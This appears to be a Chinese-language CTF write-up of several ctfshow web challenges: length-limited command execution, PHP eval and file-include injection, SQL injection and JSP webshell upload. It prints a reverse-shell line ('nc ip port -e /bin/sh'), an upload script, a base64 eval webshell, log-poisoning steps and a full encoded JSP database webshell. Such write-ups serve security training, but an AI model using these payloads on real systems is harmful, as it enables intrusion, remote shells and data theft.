(限制长度的命令执行 七字符、五字符、四字符)
网页源码中存在提示,限制长度为7字符
function isSafe(cmd)
{
return cmd.length<=7;
}
nl /*>1 #这条命令刚好七个字符
我开始这样做了,但是最后并没有做出来的原因是:我一直在网站根目录下看有没有生成文件,实际上这条命令执行在api这个目录下,生成的文件也在这个目录下,所以需要到/api这个目录下去寻找是否生成文件
. /t*/* # 这个命令刚好七个字符,会把tmp目录下所有的文件当sh文件执行
文件内容写一个nc连接,如果返回内容卡住,说明命令执行成功
nc ip port -e /bin/sh
写脚本过程中发现不太会写上传文件操作,于是去看查,可以知道上传文件的主要语句为
file = {"file":("filename.txt",oepn("file-path",'rb'))}
requests.post(url, file)
# 或者直接写文件内容
file ={"file":"nc ip port -e sh"}
import requests as req
url = "http://41f860bd-aa73-4ab4-91c0-4081f1d7ac5d.challenge.ctf.show/api/tools.php"
data = {"cmd":". /t*/*"}
file = {'file':("bash.txt",open(r"D:\Sec\CTF\CTF_GAME\08_24_ctfshow\限制长度命令执行\bash.txt",'rb'))}
response = req.post(url=url,data=data,files=file)
print(response.text)
上传临时文件并执行,在shell中拿flag
首页给了源码,可以进行源码分析
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
最终执行命令的语句是 $num1$symbol$num2 拼接起来的,而且过滤()不能调用函数,所以根据语言结构是 include、require、echo这种语句,试着去包含文件。这个题可以理解为注入,在整个计算语句中注入我们想要执行的命令语句,只不过是过滤()之后不能调用函数执行
没有过滤 /,用include去包含一下 /etc/passwd 可以成功得到回显
num1=1;include "/etc/passwd";1&symbol=-&num2=2
去包含日志文件,看下是否有flag,没有flag,试着另外的办法
nginx日志文件
的一般目录是
/var/log/nginx/access.log
/var/log/nginx/access.log
nginx -t 获取配置文件路径
apache日志文件
的一般目录是
/var/log/apache2/access.log
可以往日志写shell然后包含,拿flag
http的url位置会对<>进行编码
,尝试别的地方,发现User-Agent没有编码
,可以写入语句,但是写入之后报错,原因在于使用了"
,导致语句因为"闭合而报错
正确的是使用单引号
利用data伪协议进行包含与命令执行
data://text/plain,
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
注释:<?php phpinfo();?> 这个payload中的加号 需要编码,否则识别成空格,这个base语句就无法被解析
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
注释:<?php phpinfo(); php文件中末尾的?>可以省去,或者多加空格,将+消去
num1=1;include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";1&symbol=/&num2=1
GET
?1=system('cat /*');
直接nc连接即可,但要注意 参数放后面,放前面有可能不执行
nc ip port -e /bin/sh
预期解法是不出网,可能解法?
在SageUtil类
中有过滤函数
String[] ban = new String[]{"'", "file", "information", "mysql", "from", "update", "delete", "select", ",", "union", "sleep", "("};
for(int var4 = 0; var4 < var3; ++var4){
String s = var2[var4];
if (sql.contains(s)){
return true;
}
}
在配置文件
中有开启多语句查询
url=jdbc:mysql://127.0.0.1:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC
db_username=root
db_password=root
存在拼接的语句如下
String sql = "select username,password from app_user where username ='" + username + "' and password ='" + password + "' ;";
暂时的思路
'username':'admin\\',
'password':'or password regexp binary {}#'
注:第四题第一点和第二点是自己在做题时候写的,下面是复现的内容
username=a\&password=;flush tables with read lock;%23
因为过滤(),通过jstl来写一个连接数据库的jsp并且回显的小马
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<%@ page isELIgnored="false" %>
<sql:setDataSource var="test" driver="${param.driver}"
url="${param.url}" user="root" password="root" />
<sql:query dataSource="${test}" var="result">
${param.sql}
sql:query>
<table border="1" width="100%">
<tr>
<th>ctfshowth>
tr>
<c:forEach var="row" items="${result.rows}">
<tr>
<td><c:out value="${row.t}" />td>
tr>
c:forEach>
table>
username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&password=../webapps/ROOT/1.jsp
然后访问1.jsp,并且连接数据库,联合查询得到flag
查表
1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select group_concat(table_name) as t from information_schema.tables where table_schema="app";
中间还有读字段省略了
读flag
/1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select%20f1ag%20as%20t%20from%20app_flag_xxoo_non0%20union%20select%201;
参考链接
1.官方WP
2.限制长度的命令执行
3.PHP文件包含总结
4.https://www.extrader.top/posts/d991f96a/#%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8
5.https://xz.aliyun.com/t/10594#toc-5
6.sql写shell参考文章
7.jsp马